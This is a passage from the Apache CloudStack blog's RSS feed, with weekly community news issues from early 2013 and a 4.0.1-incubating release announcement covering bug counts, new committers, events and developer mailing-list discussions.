USA) in #cloudstack-dev. All CloudStack contributors who have an interest in making the docs awesome are encouraged to attend and help out. See <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/4.1+Doc+Sprints+every+Friday" target="_blank" rel="nofollow" class="external-link">the wiki</a> for more info.</li></ul><ul><li><b>New York City Cloud Computing Group</b>: <a href="http://www.meetup.com/nyccloudcomputing/events/104771232/" target="_blank" rel="nofollow" class="external-link">Deploying Apache CloudStack from API to UI</a> - New York City, Wednesday March 13, 2013.</li></ul><ul><li><b>NYLUG Meetup</b>: <a href="http://www.meetup.com/nylug-meetings/events/82181872/" target="_blank" rel="nofollow" class="external-link"><em>Open Source Private Clouds with CloudStack, Eucalyptus and OpenStack</em></a> - New York City, Thursday March 14, 2013. RSVPs open on February 28th at 6:15 p.m. Eastern.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-4March2013-Jira"></a>Jira</h3><p>Big bug-fixing week for Apache CloudStack! The community knocked out 5 blocker bugs, 3 critical bugs, 9 major bugs, and 3 minor bugs. Still plenty of work left to do before 4.1.0 is ready for prime-time, though.</p><ul><li>Last week: 9 blocker bugs. This week: 4 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a></li><li>Last week: 21 critical bugs. This week: 18 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 200 major bugs. This week: 191 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 33 minor bugs. This week: 30 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><p>It's worth noting that the doc sprint helped quite a bit, bringing the total number of docs bugs for 4.1.0 to 44 (down from 64 just two weeks ago). Of the remaining bugs for 4.1.0, 80 are <a href="http://is.gd/unassigned41acs" target="_blank" rel="nofollow" class="external-link">currently unassigned</a>, down from 99 last week.</p><h3><a name="ApacheCloudStackWeeklyNews-4March2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>A big week for new committers and PPMC members.</p><ul><li>Marcus Sorenson <a href="http://markmail.org/message/dpt6eczdsokaealm" target="_blank" rel="nofollow" class="external-link">has been invited to join the PPMC and has accepted</a>.</li><li>Sebastien Goasguen <a href="http://markmail.org/message/xjk4beb6rtupsuj7" target="_blank" rel="nofollow" class="external-link">has been invited to join the PPMC and has accepted</a>.</li><li>Radhika Puthiyetath <a href="http://markmail.org/message/dkrzj6eo66umqamj" target="_blank" rel="nofollow" class="external-link">has been invited to become a committer and has accepted</a></li><li>Sateesh Chodapuneedi <a href="http://markmail.org/message/7epxyg6s5kmiebcb" target="_blank" rel="nofollow" class="external-link">has been invited to become a committer and has accepted</a></li><li>Noa Resare <a href="http://markmail.org/message/uqhbwwhhfrgfu67g" target="_blank" rel="nofollow" class="external-link">has been invited to become a committer and has accepted</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-4March2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b></p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 25 February 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_25</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_25</guid>
            <pubDate>Tue, 26 Feb 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[This week, interesting discussions on the Java version(s) to be supported by CloudStack, updates on translation, and database changes. Also discussion on the next CloudStack Collaboration Conference, and more. Work on 4.1.0 continues, and there's much to be done before it's ready to ship.]]></description>
            <content:encoded><![CDATA[<p>This week, interesting discussions on the Java version(s) to be supported by CloudStack, updates on translation, and database changes. Also discussion on the next CloudStack Collaboration Conference, and more. Work on 4.1.0 continues, and there's much to be done before it's ready to ship.</p><h3><a name="ApacheCloudstackWeeklyNews-25February2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><p>Some of the major discussions and issues that have taken place on cloudstack-dev and cloudstack-users in the past week. This is by no means exhaustive, if you need to be up-to-date on all development issues in the project, you'll definitely want to be subscribed to the mailing lists!</p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-ScheduleReminder"></a>Schedule Reminder</h5><p>Chip Childers has sent out a <a href="http://markmail.org/message/z37xsunbtikzukzl" target="_blank" rel="nofollow" class="external-link">friendly reminder</a> about the schedule: </p><blockquote><p> Thursday is the last day of this<br>phase of QA / bug-fix work.  We defined it as:</p><p>2013-02-28<br>Docs Completion Target (except release notes and translations) (Docs<br>may be included in the release after this date, after consensus on<br>each addition that the inclusion does not reduce release quality).</p><p>  Release Branch moves to limited updates only (only commits allowed<br>in would be release blockers fixes, translation updates, etc...)</p><p>I'd like to get as many bugs resolved as possible (as well as ensure<br>that the blockers that Sudha has shared this morning are addressed as<br>quickly as possible).</p><p>After Thursday, we're going to want to move to a very limited amount of<br>change within the 4.1 branch.  Given that, now's the time to knock down<br>the blockers...  but also as many of the other priority bugs as<br>possible.</p></blockquote><p>If you have 4.1 bugs on your plate, please be sure to try to either resolve them or at least triage/report status. </p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-CloudStackCollaborationSummit"></a>CloudStack Collaboration Summit</h5><p>Mark Hinkle <a href="http://markmail.org/message/flbkomj6mvgvfsdx" target="_blank" rel="nofollow" class="external-link">started a discussion about the next CloudStack Collaboration Conference</a>, offering to work on a proposal for an event in the spring and fall. Lots of folks have expressed interest, and suggested holding the spring event in Europe rather than North America. The discussion hasn't been resolved yet, so no dates or location have been announced as of yet. </p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-QAScrumMeetingMinutes"></a>QA Scrum Meeting Minutes</h5><p><a title="Minutes 18th Feb 2013" href="/confluence/display/CLOUDSTACK/Minutes+18th+Feb+2013">The QA Scrum meeting minutes for 18 February 2013</a> sent to the mailing list.</p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-WeeklyIRCMeetingMinutes"></a>Weekly IRC Meeting Minutes</h5><p>The <a href="http://markmail.org/message/s5dg4bwzlpk7rt4z" target="_blank" rel="nofollow" class="external-link">minutes for the weekly CloudStack meeting</a> have been posted to the list. Note that the community has a weekly meeting every Wednesday at 17:00 UTC in #cloudstack-meeting on Freenode.</p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-SupportedJavaVersion%3F"></a>Supported Java Version?</h5><p>Wido den Hollander noted that <a href="http://markmail.org/message/sryxuq6ks7ukpkp6" target="_blank" rel="nofollow" class="external-link">the master branch wouldn't build on his systems</a> over the last few days. The culprit? Seems to be that some changes have snuck in that want a later version of Java than is in Ubuntu 12.04.</p><p>No decision has been reached so far, but there is a case to be made that changing the Java version is a significant disruption to users.</p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-TranslationUpdate"></a>Translation Update</h5><p>Sebastien Goasguen has sent out an <a href="http://markmail.org/message/wnkzas5bnd4t3fn6" target="_blank" rel="nofollow" class="external-link">update</a></p><h5><a name="ApacheCloudstackWeeklyNews-25February2013-DiscussiononDatabaseChanges"></a>Discussion on Database Changes</h5><p>Last week Rohit Yadav <a href="https://www.youtube.com/watch?v=Xp2AGii1szQ" target="_blank" rel="nofollow" class="external-link">had a Google+ hangout with Alex and Abhi</a> to discuss future of database deployment and upcoming work on creating a new tool called DatabaseCreator that will make database deployments easier. It was decided and enforced on 4.1 and master branch that:</p><ul><li>create-schema.sql ought not be changed from the version 4.0 schema</li><li>Any new additions should go into their correct upgrade paths, for 4.2 that would mean schema-410to420.sql and schema-410to420-cleanup.sql</li><li>It would do rolling upgrade from 4.0, this was enforced in DatabaseUpgradeChecker</li></ul><p>Once DatabaseCreator is implemented correctly for 4.2 release, a sysadmin will have power to work on their own upgrade strategies. The workflow would be:</p><ul><li>System admin uses the tool to take a db dump, upgrade the database, at this stage the new database should be backward compatible with old db.</li><li>Next all CloudStack management servers are upgraded.</li><li>The tool is called again to do sanity checks and cleanup any db schema.</li></ul><h5><a name="ApacheCloudstackWeeklyNews-25February2013-DevelopmentonDIYSystemVMtemplates"></a>Development on DIY SystemVM templates</h5><p>This week <a href="http://markmail.org/message/znflttrdsv3gtoh4" target="_blank" rel="nofollow" class="external-link">Rohit Yadav and Chiradeep</a> were finally able to configure a veewee project so systemvm template can be built on one's own box using veewee and VirtualBox, Rohit also created a systemvm building jenkins job. The source code exists in tools/appliance and has a README for folks to get started. The default template is based on Debian Wheezy but anyone can change the definition.rb, preseed.cfg and postinstall.sh script to fork their own systemvm templates based on Ubuntu, Fedora etc.</p><p>Rohit shared a <a href="http://rohityadav.in/logs/building-systemvms/" target="_blank" rel="nofollow" class="external-link">post</a> with the issues and challenges of setting an <a href="http://jenkins.cloudstack.org/view/master/job/build-systemvm-master/" target="_blank" rel="nofollow" class="external-link">automated jenkins build job</a> that would create systemvm appliances and export them to various virtual disk image formats. Using his approach anyone should be able to replicate an automated appliance build job.</p><h3><a name="ApacheCloudstackWeeklyNews-25February2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>ApacheCon North America</b>: ApacheCon NA is in Portland, Oregon from 26 February to 28 February. Cloud is a hot topic at ApacheCon North America and you'll find quite a bit of CloudStack content on the schedule:<ul><li><a href="http://na.apachecon.com/schedule/presentation/126/" target="_blank" rel="nofollow" class="external-link">Apache CloudStack's Plugin Model: Balancing the Cathedral with a Bazaar</a> - Donal Lafferty</li><li><a href="http://na.apachecon.com/schedule/presentation/127/" target="_blank" rel="nofollow" class="external-link">Top 10 Network Issues in Apache CloudStack</a> - Kirk Kosinski</li><li><a href="http://na.apachecon.com/schedule/presentation/128/" target="_blank" rel="nofollow" class="external-link">Advanced CloudStack Troubleshooting using Log Analysis</a> - Kirk Kosinski</li><li><a href="http://na.apachecon.com/schedule/presentation/129/" target="_blank" rel="nofollow" class="external-link">Scalable Object Storage with Apache CloudStack and Apache Hadoop</a> - Chiradeep Vittal</li><li><a href="http://na.apachecon.com/schedule/presentation/116/" target="_blank" rel="nofollow" class="external-link">Getting to Know Apache CloudStack</a> - Joe Brockmeier</li><li><a href="http://na.apachecon.com/schedule/presentation/145/" target="_blank" rel="nofollow" class="external-link">DevCloud: A CloudStack Sandbox</a> - Sebastien Goasguen</li><li><a href="http://na.apachecon.com/schedule/presentation/146/" target="_blank" rel="nofollow" class="external-link">Powering CloudStack with Ceph RDB</a> - Patrick McGarry</li><li><a href="http://na.apachecon.com/schedule/presentation/147/" target="_blank" rel="nofollow" class="external-link">Software Defined Networking in Apache CloudStack</a> - Chiradeep Vittal</li></ul></li></ul><ul><li><b>New York City Cloud Computing Group</b>: <a href="http://www.meetup.com/nyccloudcomputing/events/104771232/" target="_blank" rel="nofollow" class="external-link">Deploying Apache CloudStack from API to UI</a> - New York City, Wednesday March 13, 2013.</li></ul><ul><li><b>NYLUG Meetup</b>: <a href="http://www.meetup.com/nylug-meetings/events/82181872/" target="_blank" rel="nofollow" class="external-link"><em>Open Source Private Clouds with CloudStack, Eucalyptus and OpenStack</em></a> - New York City, Thursday March 14, 2013. RSVPs open on February 28th at 6:15 p.m. Eastern.</li></ul><h3><a name="ApacheCloudstackWeeklyNews-25February2013-Jira"></a>Jira</h3><p>The count of bugs for 4.1.0 has actually increased since last week. The overall tally of blocker and critical bugs has increased, with two additional blocker bugs and four more critical bugs (though perhaps not the <b>same</b> bugs as last week). A lot of work is needed to get 4.1.0 into shape before we will be able to release.</p><ul><li>Last week: 7 blocker bugs. This week: 9 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a></li><li>Last week: 17 critical bugs. This week: 21 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 202 major bugs. This week: 200 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 34 minor bugs. This week: 33 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><p>Of the remaining bugs for 4.1.0, 99 are <a href="http://is.gd/unassigned41acs" target="_blank" rel="nofollow" class="external-link">currently unassigned</a>.</p><h3><a name="ApacheCloudstackWeeklyNews-25February2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>No new committers or PPMC members announced this week.</p><h3><a name="ApacheCloudstackWeeklyNews-25February2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b> </p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 18 February 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_18</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_18</guid>
            <pubDate>Tue, 19 Feb 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Another busy week on -dev. This week, discussions on whether to graduate to a TLP, the whens and hows of merging, database changes for 4.1 and master, and documentation.]]></description>
            <content:encoded><![CDATA[<p>Another busy week on -dev. This week, discussions on whether to graduate to a TLP, the whens and hows of merging, database changes for 4.1 and master, and documentation.</p><p>Also worth noting, we now have a <a href="http://markmail.org/message/iceroovnqptyi5lt" target="_blank" rel="nofollow" class="external-link">marketing mailing list</a>. To sign up and participate in promoting Apache CloudStack, please subscribe to the mailing list (cloudstack-marketing-subscribe@incubator.apache.org) and help out!</p><h3><a name="ApacheCloudStackWeeklyNews-18February2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><p>Some of the major discussions and issues that have taken place on cloudstack-dev and cloudstack-users in the past week. This is by no means exhaustive, if you need to be up-to-date on all development issues in the project, you'll definitely want to be subscribed to the mailing lists!</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-QAScrumMeetingMinutes"></a>QA Scrum Meeting Minutes </h5><p><a href="http://markmail.org/message/fcjpe4z5bezfodmx" target="_blank" rel="nofollow" class="external-link">The QA Scrum meeting minutes for 12 February 2013</a> sent to the mailing list.</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-IRCMeetingMinutes"></a>IRC Meeting Minutes </h5><p>Summary of the <a href="http://markmail.org/message/solu2opycgkqb63x" target="_blank" rel="nofollow" class="external-link">weekly IRC Meeting for 13 February 2013</a>. </p><p>Note that last week's meeting went in reverse alpha-order, but it was largely agreed during the meeting that we should have an agenda for the meeting. Please submit agenda items by Wednesday at 16:00 UTC.</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-GraduationtoaTopLevelProject%28TLP%29%3F"></a>Graduation to a Top-Level Project (TLP)?</h5><p>Is Apache CloudStack ready to leave the incubator? <a href="http://markmail.org/message/3nluchj5q5waguws" target="_blank" rel="nofollow" class="external-link">Chip Childers</a> raised the discussion on the -dev list on February 13th. </p><blockquote><p>My general impression is that we have come a long way as a community since CloudStack entered the incubator. While there are still rough edges for us to work through over time, we are dealing with our problems quite well as a community. The simple reason that I believe we are in a position to ask to graduate, is that we are no longer getting value from the incubation process!  That's a good thing, because it means that we have managed to learn quite a bit about the ASF processes, rules, methods and preferences.</p></blockquote><p>Marcus Sorensen <a href="http://markmail.org/message/l2kqj2gppghm4f2q" target="_blank" rel="nofollow" class="external-link">agreed</a> that there are rough edges but, "the incubation process itself may not teach us anything further about these things, and they're just things we need to iron out over time."</p><p>David Nalley wrote:</p><blockquote><p>I don't see us actively receiving any benefit from continuing in incubation. We are far from perfect, but the project seems to be policing itself. So I am not seeing a huge incentive to staying.</p><p>There are also some downsides to remaining in incubation. First there's the label 'incubation' that follows almost everything we do, and is potentially off-putting to potential community members. Second as a community there are a number of things we can't do for ourselves, and thus have to ask permission or for help - this includes votes on releases, creating new user accounts, etc. I think of this as the overhead of being in the incubator.</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-18February2013-DiscussiononDatabaseChangesandMerges"></a>Discussion on Database Changes and Merges</h5><p>Rohit Yadav <a href="http://markmail.org/thread/z32xdbr2injgjrrp" target="_blank" rel="nofollow" class="external-link">put out the word</a> that there were database changes ahead for the 4.1 branch and master. </p><p>Rohit also brought up a merge for <a href="http://markmail.org/message/2v3hqmanasol6okw" target="_blank" rel="nofollow" class="external-link">database schemas for 4.1.0</a> and pointed to the <a href="http://people.apache.org/~bhaisaab/diff-create-schema-40-41.sql" target="_blank" rel="nofollow" class="external-link">current differences in the database schema for 4.1 over 4.0</a>.</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-Documentationfor4.1"></a>Documentation for 4.1</h5><p>Sebastien Goasguen <a href="http://markmail.org/message/rjbctl6uu3qu2c7g" target="_blank" rel="nofollow" class="external-link">started a thread on documentation for 4.1</a>, which is a must-read for anyone working on docs. </p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-HowtoTreatBrokenBuilds"></a>How to Treat Broken Builds</h5><p>David Nalley expressed some <a href="http://markmail.org/thread/bb7qgl3esc25cdek" target="_blank" rel="nofollow" class="external-link">frustration with the community's reaction to broken builds</a>. </p><blockquote><p>In general it seems we don't care, and this makes it more difficult to fix problems. Jenkins reporting a broken build (be it a broken run of RAT, failure to compile, failure of a unit test, building docs, etc.) should be our <a href="http://en.wikipedia.org/wiki/Andon_(manufacturing)" target="_blank" rel="nofollow" class="external-link">Andon cord</a>. We should all stop commits that aren't fixing the broken build. To illustrate why this is a problem, RAT failures started occurring recently, this keeps us from testing whether CloudStack builds, because each build is conditioned on the successful completion of the test before it. That in turn keeps apidocs from building,  which keeps marvin from building, which keeps documentation from building. We essentially are blind until it gets fixed.</p></blockquote><p>Marcus Sorensen asked <a href="http://markmail.org/message/2kjhnje2zgocobbt" target="_blank" rel="nofollow" class="external-link">if there was a Jenkins report committers could subscribe to</a> in order to avoid the problem. David <a href="http://markmail.org/message/wcksnc2xqndyxjz6" target="_blank" rel="nofollow" class="external-link">replied</a>, "Yes there are - the commits mailing list receives the notifications from both jenkins.cs.o and builds.a.o. ... You can subscribe by sending an email to cloudstack-commits-subscribe@incubator.apache.org."</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-WaitBeforeyouMerge%21"></a>Wait Before you Merge!</h5><p>How long should you wait until you merge into master or a branch? <a href="http://markmail.org/message/f6obhtciavb22ybx" target="_blank" rel="nofollow" class="external-link">Chip Childers</a> brought this up in response to a merge that was announced on February 12th and then committed on February 13th. This discussion raised the fact that <a href="http://markmail.org/message/mw7vvasrofpr7k3k" target="_blank" rel="nofollow" class="external-link">there's not a formal merge process</a> documented. Chip volunteered to take a crack at the document and asked for help "in getting it in shape to reflect consensus on the topic."</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-AndroidandiOSCloudStackClients"></a>Android and iOS CloudStack Clients</h5><p>Abhinandan Prateek <a href="http://markmail.org/message/m5tpje5wdgjzwuyn" target="_blank" rel="nofollow" class="external-link">asked</a> about the utility of a Android and/or iOS client for CloudStack. David pointed out that <a href="https://github.com/creationline/cumulus" target="_blank" rel="nofollow" class="external-link">an Android client called Cumulus</a> exists that is "pretty useful as an end-user, but less so as an admin." </p><p>Pranav Saxena <a href="http://markmail.org/message/judciif4hwyxmypg" target="_blank" rel="nofollow" class="external-link">replied that</a> there was already some work underway off-list on a client using PhoneGap, and it might be possible to collaborate. (Ed. Note: This is why you should bring ideas to the list sooner rather than later, so there's not a wasted effort when two or more community members have the same idea and try to implement it separately.)</p><h5><a name="ApacheCloudStackWeeklyNews-18February2013-NewDependencyonOWASPESAPIforJava"></a>New Dependency on OWASP ESAPI for Java</h5><p>Likitha Shetty <a href="http://markmail.org/message/w5qdogojgrbxgi7x" target="_blank" rel="nofollow" class="external-link">announced</a> a new dependency on the OWASP ESAPI for Java in master.</p><h3><a name="ApacheCloudStackWeeklyNews-18February2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><a href="http://markmail.org/thread/frj26yjlgn7gty6x" target="_blank" rel="nofollow" class="external-link"><b>CloudStack Meetup in San Jose</b></a> on February 20th.</li><li><b>PuppetCamp LA</b> on February 22nd. David Nalley is presenting [Automating your Apache CloudStack infrastructure with<br>Puppet|http://www.socallinuxexpo.org/scale11x/puppet-camp-la].</li><li>* <b>SCALE 11x</b>: Meet with CloudStack folks at SCALE (23-24 February 2013). The CloudStack project will have a booth at the event, plus a number of talks on the schedule:<ul><li><a href="http://www.socallinuxexpo.org/scale11x/presentations/taking-open-cloud-11-cloudstack" target="_blank" rel="nofollow" class="external-link">Taking the Cloud to 11 with CloudStack</a> - Joe Brockmeier</li></ul></li><li><b>ApacheCon North America</b>: ApacheCon NA is in Portland, Oregon from 26 February to 28 February. Cloud is a hot topic at ApacheCon North America and you'll find quite a bit of CloudStack content on the schedule:<ul><li><a href="http://na.apachecon.com/schedule/presentation/126/" target="_blank" rel="nofollow" class="external-link">Apache CloudStack's Plugin Model: Balancing the Cathedral with a Bazaar</a> - Donal Lafferty</li><li><a href="http://na.apachecon.com/schedule/presentation/127/" target="_blank" rel="nofollow" class="external-link">Top 10 Network Issues in Apache CloudStack</a> - Kirk Kosinski</li><li><a href="http://na.apachecon.com/schedule/presentation/128/" target="_blank" rel="nofollow" class="external-link">Advanced CloudStack Troubleshooting using Log Analysis</a> - Kirk Kosinski</li><li><a href="http://na.apachecon.com/schedule/presentation/129/" target="_blank" rel="nofollow" class="external-link">Scalable Object Storage with Apache CloudStack and Apache Hadoop</a> - Chiradeep Vittal</li><li><a href="http://na.apachecon.com/schedule/presentation/116/" target="_blank" rel="nofollow" class="external-link">Getting to Know Apache CloudStack</a> - Joe Brockmeier</li><li><a href="http://na.apachecon.com/schedule/presentation/145/" target="_blank" rel="nofollow" class="external-link">DevCloud: A CloudStack Sandbox</a> - Sebastien Goasguen</li><li><a href="http://na.apachecon.com/schedule/presentation/146/" target="_blank" rel="nofollow" class="external-link">Powering CloudStack with Ceph RDB</a> - Patrick McGarry</li><li><a href="http://na.apachecon.com/schedule/presentation/147/" target="_blank" rel="nofollow" class="external-link">Software Defined Networking in Apache CloudStack</a> - Chiradeep Vittal</li></ul></li></ul><h3><a name="ApacheCloudStackWeeklyNews-18February2013-Jira"></a>Jira</h3><p>Bug count for 4.1.0 hasn't significantly decreased since last week, though major bugs have dropped slightly while there's been an increase of blocker and critical bugs.</p><ul><li>Last week: 5 blocker bugs. This week: 7 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a></li><li>Last week: 13 critical bugs. This week: 17 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 212 major bugs. This week: 202 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 35 minor bugs. This week: 34 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><p>Of the remaining bugs for 4.1.0, 95 are <a href="http://is.gd/unassigned41acs" target="_blank" rel="nofollow" class="external-link">currently unassigned</a>. Doc bugs are by far the largest component needing help, with 64 bugs remaining.</p><h3><a name="ApacheCloudStackWeeklyNews-18February2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>David Nalley <a href="http://markmail.org/message/73vkokunvgotzqdo" target="_blank" rel="nofollow" class="external-link">announced</a> that Likitha Shetty has been asked to become a committer, and Likitha has accepted. Please join us in congratulating Likitha! </p><h3><a name="ApacheCloudStackWeeklyNews-18February2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b> </p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.0.1-incubating Released]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_4_0_11</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_4_0_11</guid>
            <pubDate>Tue, 12 Feb 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.0.1-incubating release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is a minor release in the 4.0.0 branch, which contains fixes for more than 30 bugs.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the 4.0.1-incubating release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is a minor release in the 4.0.0 branch, which contains fixes for more than 30 bugs.</p><p>Apache CloudStack is an integrated software platform that allows users to build a feature-rich IaaS. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, accounting, and storage for private, hybrid, or public clouds. The project entered the Apache Incubator in April 2012.</p><p>The 4.0.1-incubating release includes fixes for a number of issues, including a minor security vulnerability (CVE-2012-5616), problems adding KVM hosts, fixes to documentation, and more. Please see the <a href="http://is.gd/acs401CHANGES" target="_blank" rel="noopener noreferrer">CHANGES</a> file in the release for a full list of issues that are fixed in this release. As a bugfix release, no new features are included in 4.0.1-incubating, and it should be a simple upgrade from 4.0.0-incubating.</p><h2>Downloads</h2><p>The official source code release can be downloaded from:</p><p><a href="http://incubator.apache.org/cloudstack/downloads.html" target="_blank" rel="noopener noreferrer">http://incubator.apache.org/cloudstack/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page.</p><h2>Incubating</h2><p>Apache CloudStack is an effort undergoing incubation at The Apache Software Foundation (ASF). Incubation is required of all newly accepted projects until a further review indicates that the infrastructure, communications, and decision making process have stabilized in a manner consistent with other successful ASF projects. While incubation status is not necessarily a reflection of the completeness or stability of the code, it does indicate that the project has yet to be fully endorsed by the ASF.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 11 February 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_11</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_11</guid>
            <pubDate>Mon, 11 Feb 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[In the past week, the 4.0.1-incubating release passed its VOTE on the general@incubator.apache.org list, work continued on 4.1.0, and there were active discussions on using Gerrit, cloud-init, and whether memory usage has increased following the adoption of the Spring framework.]]></description>
            <content:encoded><![CDATA[<p>In the past week, the 4.0.1-incubating release passed its VOTE on the general@incubator.apache.org list, work continued on 4.1.0, and there were active discussions on using Gerrit, cloud-init, and whether memory usage has increased following the adoption of the Spring framework. </p><h3><a name="ApacheCloudstackWeeklyNews-11February2013-MajorDiscussionsandIssues"></a>Major Discussions and Issues</h3><p>Some of the major discussions and issues that have taken place on cloudstack-dev and cloudstack-users in the past week. This is by no means exhaustive, if you need to be up-to-date on <b>all</b> development issues in the project, you'll definitely want to be subscribed to the mailing lists!</p><h5><a name="ApacheCloudstackWeeklyNews-11February2013-Gerritproposedasreviewmechanism"></a>Gerrit proposed as review mechanism</h5><p>Alex Huang <a href="http://markmail.org/message/inerurmjtc6v57ba" target="_blank" rel="nofollow" class="external-link">kicked off a discussion</a> about using <a href="http://code.google.com/p/gerrit/" target="_blank" rel="nofollow" class="external-link">Gerrit</a>. David Nalley pointed out that <a href="http://markmail.org/message/kitfyx5cqvyeopwl" target="_blank" rel="nofollow" class="external-link">many of the problems Alex looks to solve with Gerrit are "social/cultural problems"</a> that a technical solution alone won't fix. </p><p>Hugo Trippaers also voiced concerns about implementing Gerrit, saying that "a formal process like Gerrit" isn't necessary. </p><blockquote><p>The committer status is granted based on the trust we put in a certain individuals to take care of the CloudStack project, for me that included taking the responsibility that any contributions are up to spec. I want to trust my fellow committers that they know what they are doing and i don't feel the need to second guess that by wanting to look over their code before they can commit it.</p></blockquote><h5><a name="ApacheCloudstackWeeklyNews-11February2013-Cloudinitvs.homegrownscripts"></a>Cloud-init vs. homegrown scripts</h5><p>David Nalley <a href="http://markmail.org/message/qs7k4akccoh7slk5" target="_blank" rel="nofollow" class="external-link">raised a question from the Ghent Build-a-Cloud-Day</a> about "whether or not to package the SSH key reset and password reset utilities, or whether we should focus our PW/SSH efforts on cloud-init." </p><p>Wido den Hollander voiced support for cloud-init, saying "We want CloudStack to be accepted by more and more users and they probably want to use cloud-init. cloud-init has cool Puppet and Chef plugins as well which make it very <br>easy to get it all up and running."</p><p>Chiradeep Vittal 